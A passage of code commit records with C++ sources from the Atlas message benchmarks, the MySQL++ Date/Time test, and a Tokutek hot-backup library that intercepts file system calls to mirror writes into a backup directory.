{\n            Atlas::Message::Element element;\n            element =\n                    \"fdf adda ds dsafds asdfdasdsafdsdsaffdsdsadsafdds a dsf dsdfsads fdsads adsasa\";\n        }\n        TIME_OFF(\"Element char* assign\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1.0) {\n            MapType mapCopy = map;\n            Atlas::Message::Element element(std::move(mapCopy));\n        }\n        TIME_OFF(\"Element move ctor\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1.0) {\n            MapType mapCopy = map;\n            Atlas::Message::Element element;\n            element = std::move(mapCopy);\n        }\n        TIME_OFF(\"Element move assign\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1.0) {\n            MapType mapCopy = map;\n            Atlas::Message::Element element(mapCopy);\n        }\n        TIME_OFF(\"Element ctor\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1.0) {\n            MapType mapCopy = map;\n            Atlas::Message::Element element;\n            element = mapCopy;\n        }\n        TIME_OFF(\"Element assign\");\n    }\n\n    return 0;\n}\n<commit_msg>Benchmarks for getting map from Object.<commit_after>#include \"timer.h\"\n\n#include <iostream>\n#include <sstream>\n#include <cassert>\n\n#include <Atlas\/Codecs\/Packed.h>\n#include <Atlas\/Codecs\/XML.h>\n#include <Atlas\/Objects\/Operation.h>\n#include <Atlas\/Objects\/Encoder.h>\n#include <Atlas\/Message\/QueuedDecoder.h>\n#include <Atlas\/Message\/MEncoder.h>\n#include <Atlas\/Objects\/Entity.h>\n\nusing Atlas::Message::Element;\nusing Atlas::Message::MapType;\nusing Atlas::Message::ListType;\n\nint main(int argc, char** argv)\n{\n    long long i;\n\n    Atlas::Objects::Entity::Anonymous anon;\n    anon->setLoc(\"12345\");\n    ListType velocity;\n    velocity.push_back(1.4);\n    velocity.push_back(2.4);\n    velocity.push_back(3.4);\n    anon->setVelocityAsList(velocity);\n    ListType bbox;\n    bbox.push_back(1.4);\n    bbox.push_back(2.4);\n    bbox.push_back(3.4);\n    bbox.push_back(2.4);\n    anon->setAttr(\"bbox\", bbox);\n\n    Atlas::Objects::Operation::Move move;\n    move->setFrom(\"123456\");\n    move->setTo(\"123456\");\n    move->setSeconds(12345678);\n    move->setId(\"123456\");\n    move->setArgs1(anon);\n\n    Atlas::Objects::Operation::Sight sight;\n    sight->setFrom(\"123456\");\n    sight->setTo(\"123456\");\n    sight->setSeconds(12345678);\n    sight->setId(\"123456\");\n    sight->setArgs1(move);\n\n    const MapType map = sight->asMessage();\n\n    std::string message;\n\n    \/\/Warm up process first\n    for (i = 0; i < 100000000; i += 1) {\n        Atlas::Message::Element element;\n    }\n    {\n        TIME_ON\n        for (i = 0; i < 200000; i += 1) {\n            MapType map = sight->asMessage();\n        }\n        TIME_OFF(\"BaseObject::asMessage\");\n    }\n    {\n        TIME_ON\n        for (i = 0; i < 200000; i += 1) {\n            MapType map;\n            sight->addToMessage(map);\n        }\n        TIME_OFF(\"BaseObject::addToMessage\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1) {\n            Atlas::Message::Element element(\n                    std::string(\n                            \"fdf adda ds dsafds asdfdasdsafdsdsaffdsdsadsafdds a dsf dsdfsads fdsads adsasa\"));\n        }\n        TIME_OFF(\"Element string ctor\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1) {\n            Atlas::Message::Element element;\n            element =\n                    std::string(\n                            \"fdf adda ds dsafds asdfdasdsafdsdsaffdsdsadsafdds a dsf dsdfsads fdsads adsasa\");\n        }\n        TIME_OFF(\"Element string rvalue assign\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1) {\n            Atlas::Message::Element element;\n            const std::string aString(\n                    \"fdf adda ds dsafds asdfdasdsafdsdsaffdsdsadsafdds a dsf dsdfsads fdsads adsasa\");\n            element = aString;\n        }\n        TIME_OFF(\"Element string assign\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1) {\n            Atlas::Message::Element element;\n            std::string aString(\n                    \"fdf adda ds dsafds asdfdasdsafdsdsaffdsdsadsafdds a dsf dsdfsads fdsads adsasa\");\n            element = std::move(aString);\n        }\n        TIME_OFF(\"Element string move assign\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1) {\n            Atlas::Message::Element element(\n                    \"fdf adda ds dsafds asdfdasdsafdsdsaffdsdsadsafdds a dsf dsdfsads fdsads adsasa\");\n        }\n        TIME_OFF(\"Element char* ctor\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1) {\n            Atlas::Message::Element element;\n            element =\n                    \"fdf adda ds dsafds asdfdasdsafdsdsaffdsdsadsafdds a dsf dsdfsads fdsads adsasa\";\n        }\n        TIME_OFF(\"Element char* assign\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1.0) {\n            MapType mapCopy = map;\n            Atlas::Message::Element element(std::move(mapCopy));\n        }\n        TIME_OFF(\"Element move ctor\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1.0) {\n            MapType mapCopy = map;\n            Atlas::Message::Element element;\n            element = std::move(mapCopy);\n        }\n        TIME_OFF(\"Element move assign\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1.0) {\n            MapType mapCopy = map;\n            Atlas::Message::Element element(mapCopy);\n        }\n        TIME_OFF(\"Element ctor\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1.0) {\n            MapType mapCopy = map;\n            Atlas::Message::Element element;\n            element = mapCopy;\n        }\n        TIME_OFF(\"Element assign\");\n    }\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/***********************************************************************\n test\/datetime.cpp - Tests the Date, DateTime, and Time classes.\n\n Copyright (c) 2007-2008 by Educational Technology Resources, Inc.\n Others may also hold copyrights on code in this file.  See the\n CREDITS file in the top directory of the distribution for details.\n\n This file is part of MySQL++.\n\n MySQL++ is free software; you can redistribute it and\/or modify it\n under the terms of the GNU Lesser General Public License as published\n by the Free Software Foundation; either version 2.1 of the License, or\n (at your option) any later version.\n\n MySQL++ is distributed in the hope that it will be useful, but WITHOUT\n ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public\n License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with MySQL++; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301\n USA\n***********************************************************************\/\n\n#include <mysql++.h>\n\n#include <iostream>\n#include <sstream>\n#include <string>\n\n#include <stdio.h>\n\nusing namespace mysqlpp;\nusing namespace std;\n\n\n\/\/ Compare the given string against the object inserted into an ostream.\ntemplate <class T>\nstatic unsigned int\ntest_ostream_insert(const T& object, const char* expected, \n\t\tconst char* what)\n{\n\tostringstream os;\n\tos << object;\n\tif (os.str().compare(expected) == 0) {\n\t\treturn 0;\n\t}\n\telse {\n\t\tcerr << what << \" '\" << object << \"' should be '\" <<\n\t\t\t\texpected << \"' when inserted into ostream!\" << endl;\n\t\treturn 1;\n\t}\n}\n\n\n\/\/ Compare the given string against the return value of the object's\n\/\/ str() method.\ntemplate <class T>\nstatic unsigned int\ntest_str_method(const T& object, const char* expected, const char* what)\n{\n\tif (object.str().compare(expected) == 0) {\n\t\treturn 0;\n\t}\n\telse {\n\t\tcerr << what << \" '\" << object << \"' should return '\" <<\n\t\t\t\texpected << \"' from str() method!\" << endl;\n\t\treturn 1;\n\t}\n}\n\n\n\/\/ Compare the given string against the object when cast to std::string\ntemplate <class T>\nstatic unsigned int\ntest_string_operator(const T& object, const char* expected, \n\t\tconst char* what)\n{\n\tif (string(object).compare(expected) == 0) {\n\t\treturn 0;\n\t}\n\telse {\n\t\tcerr << what << \" '\" << object << \"' should be '\" <<\n\t\t\t\texpected << \"' when cast to std::string!\" << endl;\n\t\treturn 1;\n\t}\n}\n\n\n\/\/ Compare the given string against the object when converted in several\n\/\/ different ways to a string.\ntemplate <class T>\nstatic unsigned int\ntest_stringization(const T& object, const char* expected, \n\t\tconst char* what)\n{\n\treturn\ttest_ostream_insert(object, expected, what) +\n\t\t\ttest_string_operator(object, expected, what) +\n\t\t\ttest_str_method(object, expected, what);\n}\n\n\n\/\/ Given a Date and a set of values we should expect to be in it,\n\/\/ compare its outputs against values we compute separately.\nstatic unsigned int\ntest_date(const Date& d, int year, int month, int day)\n{\n\tif (\td.year() == year && \n\t\t\td.month() == month && \n\t\t\td.day() == day) {\n\t\tchar ac[20];\n\t\tsnprintf(ac, sizeof(ac), \"%04d-%02d-%02d\",\n\t\t\t\tyear, month, day);\n\t\treturn test_stringization(d, ac, \"Date\");\n\t}\n\telse {\n\t\tcerr << \"Date '\" << d << \"' values should be '\" <<\n\t\t\t\tyear << '-' << month << '-' << day << endl;\n\t\treturn 1;\n\t}\n}\n\n\n\/\/ Given a Time and a set of values we should expect to be in it,\n\/\/ compare its outputs against values we compute separately.\nstatic unsigned int\ntest_time(const Time& t, int hour, int minute, int second)\n{\n\tif (\tt.hour() == hour && \n\t\t\tt.minute() == minute && \n\t\t\tt.second() == second) {\n\t\tchar ac[20];\n\t\tsnprintf(ac, sizeof(ac), \"%02d:%02d:%02d\",\n\t\t\t\thour, minute, second);\n\t\treturn test_stringization(t, ac, \"Time\");\n\t}\n\telse {\n\t\tcerr << \"Time '\" << t << \"' values should be '\" <<\n\t\t\t\thour << ':' << minute << ':' << second << endl;\n\t\treturn 1;\n\t}\n}\n\n\n\/\/ Given a DateTime and a set of values we should expect to be in it,\n\/\/ compare its outputs against values we compute separately.\nstatic unsigned int\ntest_datetime(const DateTime& dt,\n\t\tint year, int month, int day,\n\t\tint hour, int minute, int second)\n{\n\treturn\ttest_date(Date(dt), year, month, day) +\n\t\t\ttest_time(Time(dt), hour, minute, second);\n}\n\n\n\/\/ Run tests above for the various types we support using the date and\n\/\/ time values given.\nstatic unsigned int\ntest(int year, int month, int day, int hour, int minute, int second)\n{\n\tunsigned int failures = 0;\n\tfailures += test_date(Date(year, month, day), year, month, day);\n\tfailures += test_datetime(\n\t\t\tDateTime(year, month, day, hour, minute, second),\n\t\t\tyear, month, day, hour, minute, second);\n\tfailures += test_time(Time(hour, minute, second), hour, minute,\n\t\t\tsecond);\n\treturn failures;\n}\n\n\nint\nmain()\n{\n\tunsigned int failures = 0;\n\tfailures += test(0, 0, 0, 0, 0, 0);\n\tfailures += test(1, 2, 3, 4, 5, 6);\n\tfailures += test_stringization(DateTime(), \"NOW()\", \"DateTime\");\n\tDateTime dt;\n\tdt.year(2007);\n\tfailures += test_stringization(dt, \"2007-00-00 00:00:00\", \"DateTime\");\n\treturn failures;\n}\n\n<commit_msg>Added some verbosity to test\/datetime.cpp.  Only useful for verifying visually that it does the right thing; no visible effect for end users.<commit_after>\/***********************************************************************\n test\/datetime.cpp - Tests the Date, DateTime, and Time classes.\n\n Copyright (c) 2007-2008 by Educational Technology Resources, Inc.\n Others may also hold copyrights on code in this file.  See the\n CREDITS file in the top directory of the distribution for details.\n\n This file is part of MySQL++.\n\n MySQL++ is free software; you can redistribute it and\/or modify it\n under the terms of the GNU Lesser General Public License as published\n by the Free Software Foundation; either version 2.1 of the License, or\n (at your option) any later version.\n\n MySQL++ is distributed in the hope that it will be useful, but WITHOUT\n ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public\n License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with MySQL++; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301\n USA\n***********************************************************************\/\n\n#include <mysql++.h>\n\n#include <iostream>\n#include <sstream>\n#include <string>\n\n#include <stdio.h>\n\nusing namespace mysqlpp;\nusing namespace std;\n\n\n\/\/ Compare the given string against the object inserted into a Query stream.\ntemplate <class T>\nstatic unsigned int\ntest_query_insert(const T& object, const char* expected, \n\t\tconst char* what)\n{\n\tQuery q = Connection().query();\t\/\/ don't do this in real code\n\tq << object;\n\tif (q.str().compare(expected) == 0) {\n\t\tcout << what << \" is '\" << expected <<\n\t\t\t\t\"' in Query, as expected.\" << endl;\n\t\treturn 0;\n\t}\n\telse {\n\t\tcerr << what << \" '\" << object << \"' should be '\" <<\n\t\t\t\texpected << \"' when inserted into Query!\" << endl;\n\t\treturn 1;\n\t}\n}\n\n\n\/\/ Compare the given string against the object inserted into an ostream.\ntemplate <class T>\nstatic unsigned int\ntest_ostream_insert(const T& object, const char* expected, \n\t\tconst char* what)\n{\n\tostringstream os;\n\tos << object;\n\tif (os.str().compare(expected) == 0) {\n\t\tcout << what << \" is '\" << expected <<\n\t\t\t\t\"' in ostream, as expected.\" << endl;\n\t\treturn 0;\n\t}\n\telse {\n\t\tcerr << what << \" '\" << object << \"' should be '\" <<\n\t\t\t\texpected << \"' when inserted into ostream!\" << endl;\n\t\treturn 1;\n\t}\n}\n\n\n\/\/ Compare the given string against the return value of the object's\n\/\/ str() method.\ntemplate <class T>\nstatic unsigned int\ntest_str_method(const T& object, const char* expected, const char* what)\n{\n\tif (object.str().compare(expected) == 0) {\n\t\tcout << what << \".str() returns '\" << expected <<\n\t\t\t\t\"', as expected.\" << endl;\n\t\treturn 0;\n\t}\n\telse {\n\t\tcerr << what << \" '\" << object << \"' should return '\" <<\n\t\t\t\texpected << \"' from str() method!\" << endl;\n\t\treturn 1;\n\t}\n}\n\n\n\/\/ Compare the given string against the object when cast to std::string\ntemplate <class T>\nstatic unsigned int\ntest_string_operator(const T& object, const char* expected, \n\t\tconst char* what)\n{\n\tif (string(object).compare(expected) == 0) {\n\t\tcout << \"string(\" << what << \") is '\" << expected <<\n\t\t\t\t\"', as expected.\" << endl;\n\t\treturn 0;\n\t}\n\telse {\n\t\tcerr << what << \" '\" << object << \"' should be '\" <<\n\t\t\t\texpected << \"' when cast to std::string!\" << endl;\n\t\treturn 1;\n\t}\n}\n\n\n\/\/ Compare the given string against the object when converted in several\n\/\/ different ways to a string.\ntemplate <class T>\nstatic unsigned int\ntest_stringization(const T& object, const char* expected, \n\t\tconst char* what)\n{\n\treturn\ttest_query_insert(object, expected, what) +\n\t\t\ttest_ostream_insert(object, expected, what) +\n\t\t\ttest_string_operator(object, expected, what) +\n\t\t\ttest_str_method(object, expected, what);\n}\n\n\n\/\/ Given a Date and a set of values we should expect to be in it,\n\/\/ compare its outputs against values we compute separately.\nstatic unsigned int\ntest_date(const Date& d, int year, int month, int day)\n{\n\tif (\td.year() == year && \n\t\t\td.month() == month && \n\t\t\td.day() == day) {\n\t\tchar ac[20];\n\t\tsnprintf(ac, sizeof(ac), \"%04d-%02d-%02d\",\n\t\t\t\tyear, month, day);\n\t\treturn test_stringization(d, ac, \"Date\");\n\t}\n\telse {\n\t\tcerr << \"Date '\" << d << \"' values should be '\" <<\n\t\t\t\tyear << '-' << month << '-' << day << endl;\n\t\treturn 1;\n\t}\n}\n\n\n\/\/ Given a Time and a set of values we should expect to be in it,\n\/\/ compare its outputs against values we compute separately.\nstatic unsigned int\ntest_time(const Time& t, int hour, int minute, int second)\n{\n\tif (\tt.hour() == hour && \n\t\t\tt.minute() == minute && \n\t\t\tt.second() == second) {\n\t\tchar ac[20];\n\t\tsnprintf(ac, sizeof(ac), \"%02d:%02d:%02d\",\n\t\t\t\thour, minute, second);\n\t\treturn test_stringization(t, ac, \"Time\");\n\t}\n\telse {\n\t\tcerr << \"Time '\" << t << \"' values should be '\" <<\n\t\t\t\thour << ':' << minute << ':' << second << endl;\n\t\treturn 1;\n\t}\n}\n\n\n\/\/ Given a DateTime and a set of values we should expect to be in it,\n\/\/ compare its outputs against values we compute separately.\nstatic unsigned int\ntest_datetime(const DateTime& dt,\n\t\tint year, int month, int day,\n\t\tint hour, int minute, int second)\n{\n\treturn\ttest_date(Date(dt), year, month, day) +\n\t\t\ttest_time(Time(dt), hour, minute, second);\n}\n\n\n\/\/ Run tests above for the various types we support using the date and\n\/\/ time values given.\nstatic unsigned int\ntest(int year, int month, int day, int hour, int minute, int second)\n{\n\tunsigned int failures = 0;\n\tfailures += test_date(Date(year, month, day), year, month, day);\n\tfailures += test_datetime(\n\t\t\tDateTime(year, month, day, hour, minute, second),\n\t\t\tyear, month, day, hour, minute, second);\n\tfailures += test_time(Time(hour, minute, second), hour, minute,\n\t\t\tsecond);\n\treturn failures;\n}\n\n\nint\nmain()\n{\n\tunsigned int failures = 0;\n\tfailures += test(0, 0, 0, 0, 0, 0);\n\tfailures += test(1, 2, 3, 4, 5, 6);\n\tfailures += test_stringization(DateTime(), \"NOW()\", \"DateTime\");\n\tDateTime dt;\n\tdt.year(2007);\n\tfailures += test_stringization(dt, \"2007-00-00 00:00:00\", \"DateTime\");\n\treturn failures;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- mode: C++; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/\/ vim: ft=cpp:expandtab:ts=8:sw=4:softtabstop=4:\n#ident \"Copyright (c) 2012-2013 Tokutek Inc.  All rights reserved.\"\n#ident \"$Id$\"\n\n#include <stdio.h> \/\/ rename(),\n#include <fcntl.h> \/\/ open()\n#include <unistd.h> \/\/ close(), write(), read(), unlink(), truncate(), etc.\n#include <sys\/stat.h> \/\/ mkdir()\n#include <errno.h>\n#include <dlfcn.h>\n#include <stdarg.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"backup_internal.h\"\n#include \"glassbox.h\"\n#include \"manager.h\"\n#include \"raii-malloc.h\"\n#include \"real_syscalls.h\"\n#include \"backup_debug.h\"\n\n#if DEBUG_HOTBACKUP\n#define WARN(string, arg) HotBackup::InterposeWarn(string, arg);\n#define TRACE(string, arg) HotBackup::InterposeTrace(string, arg);\n#define ERROR(string, arg) HotBackup::InterposeError(string, arg);\n#else\n#define WARN(string,arg)\n#define TRACE(string,arg)\n#define ERROR(string,arg)\n#endif\n\nmanager the_manager;\n\n\/\/***************************************\n\/\/\n\/\/ Interposed public API:\n\/\/\n\/\/***************************************\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ open() -\n\/\/\n\/\/ Description: \n\/\/\n\/\/     Either creates or opens a file in both the source directory\n\/\/ and the backup directory.\n\/\/\nextern \"C\" int open(const char* file, int oflag, ...) {\n    int fd = 0;\n    TRACE(\"open() intercepted, file = \", file);\n    if (oflag & O_CREAT) {\n        va_list ap;\n        va_start(ap, oflag);\n        mode_t mode = va_arg(ap, mode_t);\n        va_end(ap);\n        the_manager.lock_file_op();\n        fd = call_real_open(file, oflag, mode);\n        if (fd >= 0 && the_manager.is_alive()) { \n            int ignore __attribute__((unused)) = the_manager.open(fd, file); \/\/ if there's an error in this call, it's been reported.  The application doesn't want to see the error.\n        }\n\n        the_manager.unlock_file_op();\n    } else {\n        fd = call_real_open(file, oflag);\n        if (fd >= 0) {\n            struct stat stats;\n            int r = fstat(fd, &stats);\n            if(r != 0) {\n                goto out;\n            }\n\n            \/\/ TODO: What happens if we can't tell that the file is a FIFO?  Should we just the backup?  Skip this file?\n            if (!S_ISFIFO(stats.st_mode) && the_manager.is_alive()) {\n                int ignore __attribute__((unused)) = the_manager.open(fd, file); \/\/ if there's an error in the call, it's reported.  The application doesn't want to hear about it.\n            }\n        }\n    }\n\nout:\n    return fd;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ close() -\n\/\/\n\/\/ Description: \n\/\/\n\/\/     Closes the file associated with the provided file descriptor\n\/\/ in both the source and backup directories.\n\/\/\nextern \"C\" int close(int fd) {\n    int r = 0;\n    TRACE(\"close() intercepted, fd = \", fd);\n    if (the_manager.is_alive()) {\n        the_manager.close(fd); \/\/ The application doesn't want to hear about problems. The backup manager has been notified.\n    }\n\n    r = call_real_close(fd);\n    return r;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ write() -\n\/\/\n\/\/ Description: \n\/\/\n\/\/     Writes to the file associated with the given file descriptor\n\/\/ in both the source and backup directories.\n\/\/\nextern \"C\" ssize_t write(int fd, const void *buf, size_t nbyte) {\n    TRACE(\"write() intercepted, fd = \", fd);\n\n    ssize_t r = 0;\n    if (the_manager.is_alive()) {\n        \/\/ Moved the write down into manager where a lock can be obtained.\n        r = the_manager.write(fd, buf, nbyte);\n    } else {\n        r = call_real_write(fd, buf, nbyte);\n    }\n\n    return r;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ read() -\n\/\/\n\/\/ Description: \n\/\/\n\/\/     Reads data into the given buffer from the source directory.\n\/\/ \n\/\/ Note:\n\/\/\n\/\/     The backup manager needs to know that the offset for the \n\/\/ given file descriptor has changed, even though no bytes are\n\/\/ read from the backup copy of the same file.\n\/\/\nextern \"C\" ssize_t read(int fd, void *buf, size_t nbyte) {\n    TRACE(\"read() intercepted, fd = \", fd);\n    ssize_t r = 0;\n    if (the_manager.is_alive()) {\n        \/\/ Moved the read down into manager, where a lock can be obtained.\n        r = the_manager.read(fd, buf, nbyte);        \n    } else {\n        r = call_real_read(fd, buf, nbyte);\n    }\n\n    return r;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ pwrite() -\n\/\/\n\/\/ Description: \n\/\/\n\/\/     Writes to the file associated with the given file descriptor\n\/\/ in both the source and backup directories.\n\/\/\nextern \"C\" ssize_t pwrite(int fd, const void *buf, size_t nbyte, off_t offset) {\n    TRACE(\"pwrite() intercepted, fd = \", fd);\n    ssize_t r = 0;\n    if (the_manager.is_alive()) {\n        r = the_manager.pwrite(fd, buf, nbyte, offset);\n    } else {\n        r = call_real_pwrite(fd, buf, nbyte, offset);\n    }\n    \n    return r;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\noff_t lseek(int fd, off_t offset, int whence) {\n    TRACE(\"lseek() intercepted fd =\", fd);\n    off_t r = 0;\n    if (the_manager.is_alive()) {\n        r = the_manager.lseek(fd, offset, whence);\n    } else {\n        r = call_real_lseek(fd, offset, whence);\n    }\n\n    return r;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ ftruncate() -\n\/\/\n\/\/ Description: \n\/\/\n\/\/     Deletes a portion of the file based on the given file descriptor.\n\/\/\nextern \"C\" int ftruncate(int fd, off_t length) {\n    TRACE(\"ftruncate() intercepted, fd = \", fd);\n    int r = 0;\n    if (the_manager.is_alive()) {\n        r = the_manager.ftruncate(fd, length);\n    } else {\n        r = call_real_ftruncate(fd, length);\n    }\n\n    return r;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ truncate() -\n\/\/\n\/\/ Description: \n\/\/\n\/\/     Deletes a portion of the given file based on the given length.\n\/\/\nextern \"C\" int truncate(const char *path, off_t length) {\n    int r = 0;\n    TRACE(\"truncate() intercepted, path = \", path);\n    if (the_manager.is_alive()) {\n        r = the_manager.truncate(path, length);\n    } else {\n        r = call_real_truncate(path, length);\n    }\n    \n    return r;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ unlink() -\n\/\/\n\/\/ Description: \n\/\/\nextern \"C\" int unlink(const char *path) {\n    int r = 0;\n    TRACE(\"unlink() intercepted, path = \", path);\n    if (the_manager.is_alive()) {\n        r = the_manager.unlink(path);\n    } else {\n        r = call_real_unlink(path);\n    }\n    return r;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ rename() -\n\/\/\n\/\/ Description: \n\/\/\nextern \"C\" int rename(const char *oldpath, const char *newpath) {\n    int r = 0;\n    TRACE(\"rename() intercepted\",\"\");\n    TRACE(\"-> oldpath = \", oldpath);\n    TRACE(\"-> newpath = \", newpath);\n    \n    if (the_manager.is_alive()) {\n        the_manager.lock_file_op();\n        r = the_manager.rename(oldpath, newpath);\n        the_manager.unlock_file_op();\n    } else {\n        r = call_real_rename(oldpath, newpath);\n    }\n\n    return r;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ mkdir() -\n\/\/\n\/\/ Description: \n\/\/\nint mkdir(const char *pathname, mode_t mode) {\n    int r = 0;\n    TRACE(\"mkidr() intercepted\", pathname);\n    r = call_real_mkdir(pathname, mode);\n    if (r == 0 && the_manager.is_alive()) {\n        \/\/ Don't try to write if there was an error in the application.\n        the_manager.mkdir(pathname);\n    }\n    return r;\n}\n\nextern \"C\" int tokubackup_create_backup(const char *source_dirs[], const char *dest_dirs[], int dir_count,\n                                        backup_poll_fun_t poll_fun, void *poll_extra,\n                                        backup_error_fun_t error_fun, void *error_extra) throw() {\n    if (dir_count!=1) {\n        error_fun(EINVAL, \"Only one source directory may be specified for backup\", error_extra);\n        return EINVAL;\n    }\n    for (int i=0; i<dir_count; i++) {\n        if (source_dirs[i]==NULL) {\n            error_fun(EINVAL, \"One of the source directories is NULL\", error_extra);\n            return EINVAL;\n        }\n        if (dest_dirs[i]==NULL) {\n            error_fun(EINVAL, \"One of the destination directories is NULL\", error_extra);\n            return EINVAL;\n        }\n        \/\/int r = the_manager.add_directory(source_dirs[i], dest_dirs[i], poll_fun, poll_extra, error_fun, error_extra);\n        \/\/if (r!=0) return r;\n    }\n    \n    \/\/ Check to make sure that the source and destination directories are\n    \/\/ actually different.\n    {\n        with_object_to_free<char*> full_source (call_real_realpath(source_dirs[0], NULL));\n        if (full_source.value == NULL) {\n            error_fun(ENOENT, \"Could not resolve source directory path.\", error_extra);\n            return ENOENT;\n        }\n    \n        with_object_to_free<char*> full_destination(call_real_realpath(dest_dirs[0], NULL));\n        if (full_destination.value == NULL) {\n            error_fun(ENOENT, \"Could not resolve destination directory path.\", error_extra);\n            return ENOENT;\n        }\n\n        if (strcmp(full_source.value, full_destination.value) == 0) {\n            error_fun(EINVAL, \"Source and destination directories are the same.\", error_extra);\n            return EINVAL;\n        }\n    }\n\n    backup_callbacks calls(poll_fun, poll_extra, error_fun, error_extra, &get_throttle);\n    return the_manager.do_backup(source_dirs[0], dest_dirs[0], &calls);\n}\n\nextern \"C\" void tokubackup_throttle_backup(unsigned long bytes_per_second) throw() {\n    the_manager.set_throttle(bytes_per_second);\n}\n\nunsigned long get_throttle(void) throw() {\n    return the_manager.get_throttle();\n}\n\nchar *malloc_snprintf(size_t size, const char *format, ...) throw() {\n    va_list ap;\n    va_start(ap, format);\n    char *result = (char*)malloc(size);\n    vsnprintf(result, size, format, ap);\n    va_end(ap);\n    return result;\n}\n\nconst char *tokubackup_version_string = \"tokubackup 1.0 $Revision: 56100 $\";\n\n#ifdef GLASSBOX\nvoid backup_pause_disable(bool b) throw() {\n    